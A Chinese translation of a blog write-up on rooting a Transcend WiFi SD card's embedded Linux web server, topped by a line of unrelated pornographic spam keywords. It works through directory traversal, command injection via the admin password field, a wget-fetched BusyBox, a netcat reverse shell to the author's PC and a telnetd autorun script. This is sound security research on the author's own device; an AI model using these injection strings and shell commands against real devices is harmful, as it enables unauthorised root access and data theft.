国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

創見WiFi SD卡破解之路

William_Sang / 2867人閱讀

摘要:它并不會真正檢查路徑是否由斜杠分隔。事實上,和文件使用了大量的調用,但是它們的參數都是硬編碼的,所以沒有太多的空間可供操縱或利用。

我最近搞了張Transcend?WiFi?SD,頗為得意。它可以讓我在幾秒鐘內將單反(奶昔,相當便攜)中拍攝的照片傳到任何支持wifi的設備上。我很喜歡在旅途中拍攝和分享圖片,所以對我而言,可以無線傳輸圖片的SD卡是一個很好的解決方案。確實如此!(以后也是!)。不過移動應用程序可以應該好好改進下(下載7MB的圖像僅僅為了渲染?點擊下載后還要重新下載一遍!誰能告訴我這是為什么?),但是,嘿,它能夠完成任務!

這個小小的設備不僅可以存儲16GB數據(還有32GB版本),而且還是一個嵌入式系統,能夠運行應用程序,包括web服務器,和其他wifi設備通訊,甚至自建無線網絡——這個明顯的事實讓我和我的小伙伴都驚呆了!好了,不廢話了,進入主題:我們能不能用這個設備做一些設計之外的事情呢?

寫這篇文章的目的不但是為了指出可以用來root、越獄設備的漏洞,同時也是為了展現摸索、利用漏洞的方法,其中的一些方法可能走不通,但其他的或許會導向萬能的根用戶。

準備Hax

我猜這張卡中存在著某種形式的嵌入式Linux系統。如果是這樣,擴展它的功能會很容易,但是,首先我需要取得系統的控制權。到現在為止我只使用過和它配套的Android和iOS應用程序,不過很明顯,最簡單與電腦交互的方式是Web應用程序。下面的想法立即浮現在我的腦海中:

  

如果移動應用程序很糟糕,那么web應用和服務器肯定也好不到哪里去……也許它充滿了等待被利用的漏洞。

孩子,我是對的!

一旦你連接到Web服務器(卡片的IP是192.168.11.254,默認登錄admin/admin),你就會感受到和使用手機app一樣糟糕的感覺,“用戶體驗”很糟,“破解體驗”應該不錯。很多人使用scanners、fuzers之類的強力工具來探索漏洞,然而這個系統的安全性是如此之差,以至于我隨意摸索一番,就找到了可以利用的漏洞。

“Files”區域十分顯眼,它允許你瀏覽SD卡的內容。不幸的是,它不允許你進入SD卡根目錄的父目錄。果真如此?如果可以進入父目錄就好了,我們可以了解系統的內部情況,獲得關于它的更多信息。如果我們足夠幸運,甚至可以通過Web界面運行一些指令。你會注意到指向“父目錄”的鏈接的URL是這樣的(%2F就是URL編碼格式中的斜杠字符“/”):

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

好了,讓我們試著訪問/www,http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwww

結果證明此路不通。訪問/、/bin、/etc、或任何其他目錄都失敗了。:( 運氣不行。不過,話說回來,如果可行的話,那也太容易了!好吧,其實也沒那么困難,程序員真是太粗心。導航欄中?dir=/www/sd/../../是一樣的效果,成功了!

哈,太尷尬了!貌似程序員只是確保路徑使用/WWW/SD起始,但沒有驗證父目錄的“../”。通過這種方式,我們可以瀏覽嵌入式系統中的任何文件。當然,點擊文件是不會執行它們的,只是下載而已,然而這已經是一個巨大的成功了!

瀏覽文件系統、下載腳本之后,很明顯系統使用的是busybox,這在我們的意料之中。由于大多數二進制文件的大小是相同的,這暗示它們是指向busybox的軟鏈接。然而,許多不是軟鏈接,包括大多數在/WWW/cgi-bin目錄下的腳本。這些可能是值得注意的,因為只需通過瀏覽器訪問它們就可以運行。

開始Hax

看起來很有希望!現在我們可以訪問內部系統,即使只是只讀模式,仍然給了我們很大的便利,因為我們能夠研究和尋找可以利用的漏洞。:)

檢查一些腳本,找到可以被利用漏洞,沒有花掉多少時間。順便提一下,這些都是Perl腳本。Perl有一個很好的特性就是使用open()調用打開一個文件,因為如果open()的參數不是真正的文件路徑,而是以管道符結尾的shell命令的話,例如open("cat/etc/passwd?|"),會執行程序。其他濫用open()的手段包括在不同的位置寫一個新文件,或者覆蓋現有的文件,所以我們可以編寫自己的代碼并運行它。讓我們來看看是否有文件可以被利用。

有一個文件特別顯眼,因為它包含了一個含有用戶提供的變量的open()調用。kcard_upload.pl包含以下語句:

事實上,Web應用程序并沒有使用這個文件。kcard_upload.pl對用戶是隱藏的,但它仍然存在,在cgi-bin目錄下可以訪問。我們只需用瀏覽器指向它,就可以運行。這真是雙倍的尷尬,一個未被使用的可被利用的腳本!但是它真的可以被利用嗎?

通過閱讀kcard_upload.pl的代碼,我知道這里存在三個利用變量$basename控制系統的挑戰:

首先,$basename不能直接被用戶使用,因為它是調用GetBasename($upfile)的結果。用戶(即,攻擊者)直接使用的是$upfile。更準確地說,它是你選擇上傳文件時HTML表單的路徑。但是,如果我們提交了路徑,GetBasename將只返回路徑末尾的文件名,其余將被移除。這使遍歷目錄(如之前提到的../../技巧)不可行。

其次,$basename由腳本轉化為大寫,所以無論我們傳入什么,都會被轉換為大寫,這限制了可用的策略。

最后的挑戰是kcard_upload.pl的腳本只允許PNG,JPG,BMP,GIF格式的文件上傳。

所以這是一條死胡同嗎?還沒那么快!

如果你更仔細地查看代碼,你會意識到盡管程序員想要限制上傳文件的類型,然而他們只是檢查文件名是否包含這些擴展名,而不是是否以這些擴展名結束。

此外,這些正則表達式并沒有真正檢查是否包含.,因為在正則表達式中.可以代表除了換行符以外的任意字符。.應該使用轉義。我猜程序員想要的是/.GIF$/,但結果寫成了/.GIF/,所以我們只需在文件名的任意位置包含三字符組合就可以繞過限制,例如/hi/helPNGlo/asdf.something。太方便了!

由于我們的路徑會被轉化成大寫,也許我們就不能再調用任何系統命令(因為大部分都不是大寫),不過也許我們仍然可以上傳新的文件,也許是把我們自己的腳本植入系統。我們并不十分關心這些腳本的文件名是大寫還是小寫。

最后,如果你還記得,我們的路徑在保存到變量$basename之前,己經被GetBasename()轉化了。GetBasename()的功能是切分路徑,獲取最后的文件名。所以/path/to/file.txt會變成簡單的file.txt。這很糟,因為這意味著我們再也不能操縱路徑,不能使用類似“../../bin/our-malicious.script”的技巧,因為它最終會變為“our-malicious.script”,然后保存在DCIM/198_WIFI/。:_(

除非,GetBasename()包含一個可以被利用的漏洞。:_)

基本上,這些代碼考慮了兩種情況:用戶提供的路徑是由windows風格的反斜杠分隔,以及路徑由斜杠分隔(除去windows之外的任何OS)。或者說,這是這些代碼試圖做到的!這些代碼真正做的是,檢查路徑是否包含一個反斜杠,如果包含,那么就判定這是一個windows路徑(因為windows路徑使用反斜杠作分隔符),然后按照反斜杠分割路徑。它并不會真正檢查路徑是否由斜杠分隔。因此,考慮以下路徑:

/this/part/gets/discarded/this/path/is/used

由于這個路徑包含一個反斜杠(這是一個合法的字符),代碼會它認定它是一個windows路徑,因此我們最終獲得了一個不是真正的基本名的basename,它實際上是一個路徑。在我們的例子中,路徑將是:/this/path/is/used.

你看!類似/PNG/something/../../our-malicious.script的路徑將繞過所有安全措施,之后寫入我們選定的位置 B-) 這是個好消息。壞消息是這些不能真正生效。啊!這是因為腳本錯誤地假設../DCIM/198_WIFI存在,但由于腳本從/WWW/cgi-bin運行,所以這個假設不成立(正確的路徑應該是../sd/DCIM/198_WIFI)。令人傷心的是我們對此無能為力。這個bug是硬編碼到腳本的。開發人員應該沒怎么注意這一點,因為這個腳本并不打算提供給用戶使用。(記得嗎?它是隱藏的。)據我所知,盡管我們做了花了不少功夫,這是一條死胡同。:-( 不過也許有人可以拿出一個創新的方案。

(此外,kcard_upload.pl輸出的表單并不調用自身,而是調用一個名為wifi_upload二進制文件,因此我們需要自己實現HTTP?POST調用。)

Hax繼續

不過,注意看!我們已經發現了代碼質量如此糟糕,因此肯定還存在很多其他的漏洞(如果你想更有想象力一點,我很肯定kcard_upload.pl調用的/www/cgi-bin/wifi_upload工具,可以通過棧溢出和堆溢出破解,因為代碼中有很多混亂的strcpy調用)。事實上,我沒有過多地檢查這些方面。還有一些我沒在這篇里詳述的其他死胡同。我下面將詳述一個明顯的漏洞,非常容易利用:

從perl腳本直接調用shell命令有很多不同的方法,如果程序員粗心大意地使用不妥的方式調用shell命令,那么也許我們可以運行自己的shell命令!使用perl腳本運行shell代碼的一個方法是使用system()調用。事實上,.pl.cgi文件使用了大量的system()調用,但是它們的參數都是硬編碼的,所以沒有太多的空間可供操縱或利用。另外一種使用perl調用shell代碼的方法是使用qx{}表達式,但是代碼中沒有使用過這種方式。然而,第三種方式是使用反引號包圍shell代碼,相當于使用qX{}。事實上很多地方都使用了這種方式,而且shell代碼中也使用了用戶提供的輸入!這意味著他們的shell代碼混合了我們的輸入,所以可能被用來運行我們自己的代碼。

在kcard_save_config_insup.pl有一行給人的感覺就像圣誕節:

該語句運行$update_auth指定的命令,將$LOGIN_USR$LOGIN_PWD作為參數。這兩個參數直接來自一個表單,這意味著我們可以控制它們的值。沒有針對它們內容的檢查!更精確地說,這是當你進入Web界面,點擊“settings”時顯示的一個表單。你可以通過http://192.168.11.254/kcardX120Xedit_config_insup.pl直接訪問這個表單。表單詢問的是管理員的用戶名和密碼。這意味著通過選擇一個恰當構造的密碼,我們可以執行代碼!首先,密碼必須包含一個分號,以便在$update_path命令執行后可以開始執行一個新shell命令。然后它就可以包含任何我們想要的shell代碼。最后,密碼必須以#符號(表明后面的內容是注釋)結束,這樣后面的內容將被忽略(>?/mnt/mtd/config/ia.passwd部分)。

這很容易測試,例如:admin;?echo?haxx?>?/tmp/hi.txt?#

然而表單進行了合理性測試,它不會允許長密碼和奇怪的字符。由于這些檢查是通過JavaScript來完成的,而不是在服務器端完成的,繞過它們太容易了。我使用Form?Editor?Chrome擴展來擺脫這些問題。

提交表單后,我們可以很容易地檢查漏洞是否有效,只需利用本文前面提到的漏洞訪問/tmp。我們甚至可以下載文件然后檢查其內容是否正確。?

記得將你的密碼恢復為“admin”,否則利用完此漏洞后你需要通過出廠設置重設你的SD卡(當然重設不會影響到你的圖片)。

獲取root

目前為止,我們不僅能夠讀取嵌入式系統的文件系統中的任何文件,而且也可以執行shell代碼,并寫入文件。不過,我們仍然缺少合適的shell訪問方式。

查看/usr/bin目錄中的內容,我們可以發現,這里有很多可以讓我們制造反向shell的好東西:netcat(nc 二進制)、telnet,等等。反向shell是這樣工作的,通過我們PC的一個特定端口監聽傳入的連接,把目標系統連接到它,運行一個shell,通過該連接獲取輸入,同時通過該連接打印所有輸出。建立反向shell的方法你用上所有的手指、腳趾也數不過來,不過最簡單的方法是調用netcat:

nc?192.168.11.11?1337?-e?/bin/bash

這會讓netcat來連接我們的電腦(被分配的IP為192.168.11.11)的1337端口,然后將輸入傳給bash。當然,你必須使用先前所描述的漏洞來運行這個命令,將你的密碼改為admin?NC?192.168.11.111337?-e?/bin/bash?#。不幸的是這根本不起作用。使用telnet或其他工具的技巧也無效。為什么無效呢?nc、telnet和其他工具的軟鏈接在/usr/bin目錄下,指令的語法是正確的!事實上,我們親愛的SD卡內的嵌入式Linux禁用了這些busybox的功能!(我們可以嘗試調用telnet或netcat,將stdout和stderr重定向到/tmp/hi.txt來驗證一點,使用以下命令nc 192.168.11.111337?-e?/bin/bash?&>?/tmp/hi.txt。下載hi.txt以后,它的內容會是類似如下的內容:nc: applet not found。這意味著nc被禁用了。真惡心!我們只能通過那個糟糕的表單運行命令,同時不能使用網絡工具嗎?當然不是!

碰巧的是,transcend腳本使用到了wget,因此wget是啟用的。它允許我們下載另一個完整的BusyBox二進制文件 :))) 我懶得自己編譯,所以我從http://busybox.net/downloads/binaries/latest/獲取了一個預編譯的busybox二進制文件。我把busybox-armv5l二進制文件放在我電腦上的本地web服務器上(我的SD卡沒有互聯網配置),所以我只是運行了wget?http://192.168.11.11/busybox-armv5l,使用表單漏洞將它下載到SD卡的/www/cgi-bin目錄。我也運行了chmod?a+x?/www/cgi-bin/busybox-armv5l確保它隨后可以運行。

最后,我得到了我的遠程shell!運行nc -vv -l 1337我的電腦會監聽1337端口,運行/www/cgi-bin/busybox-armv5l?nc?192.168.11.11?1337?-e?/bin/bash,SD卡在該端口上啟用shell。由于下載的busybox二進制文件啟用了所有工具,我們可以通過遠程shell運行/www/cgi-bin/busybox-armv5l?<命令>獲得更豐富的shell命令!例如,/www/cgi-bin/busybox-armv5l?id告訴我們,我們已經已經以root身份在運行shell。

uid=0 gid=0
更多Hax

假如你忘記您的密碼,需要重設,你可以使用SD卡的恢復出廠設置功能(SD卡中有一個特殊的圖片文件,一旦刪除,重新啟動后就會復位SD卡)。不過,你可以恢復你的明文密碼,源于一個非常非常非常粗心的錯誤。這有一個“隱藏”的perl腳本,kcard_login.pl,負責最狂野的登錄過程。它從wsd.conf文件獲取密碼,然后提供瀏覽器驗證密碼的javascrip代碼。是的,你沒看錯。使用javascript進行驗證!

這意味著你只需將瀏覽器指向http://192.168.11.254/cgi-bin/kcardX156Xlogin.pl,然后查看頁面的源代碼就可以以明文方式恢復你的密碼。密碼就在那兒。

(更新)感謝破解友好的后門

啟動時自動運行的腳本中,rcS會執行SD卡根目錄下的autorun.sh。這將簡化開發和破解,創見啊創見!。?

在我的SD卡的根目錄下,我有以下腳本(命名為autorun.sh),此外還放了busybox-armv5l,這樣我就可以簡單地telnet到系統:

cp?/mnt/sd/busybox-armv5l?/sbin/busybox
chmod?a+x?/sbin/busybox
/sbin/busybox?telnetd?-l?/bin/bash?&

于是,該卡通電后你就可以登錄,完成啟動:?

盡享hacking之樂!:)


原文 Hacking Transcend WiFi SD Cards
翻譯 SegmentFault

文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。

轉載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/11131.html

相關文章

  • 樹莓派軟件安裝指引

    摘要:通過安裝是的簡稱,如果你之前沒有接觸過,可以借助玩樹莓派開始使用。通電啟動現在將卡插入樹莓派,接上電源。如果你使用,你所要做的就是選擇一個操作系統,樹莓派就會執行安裝。 前言 想玩一下樹莓派,做點有趣的東西,但是看了一圈的百度,涉及的文章都比較高端,看來還是得從樹莓派官網看起。就起了翻譯一下這個入門文章的念頭。了解的同時也可以幫助其他和我一樣的朋友。喜歡看原文的同學點這里。 這一系列一...

    pekonchan 評論0 收藏0

發表評論

0條評論

William_Sang

|高級講師

TA的文章

閱讀更多
最新活動
閱讀需要支付1元查看
<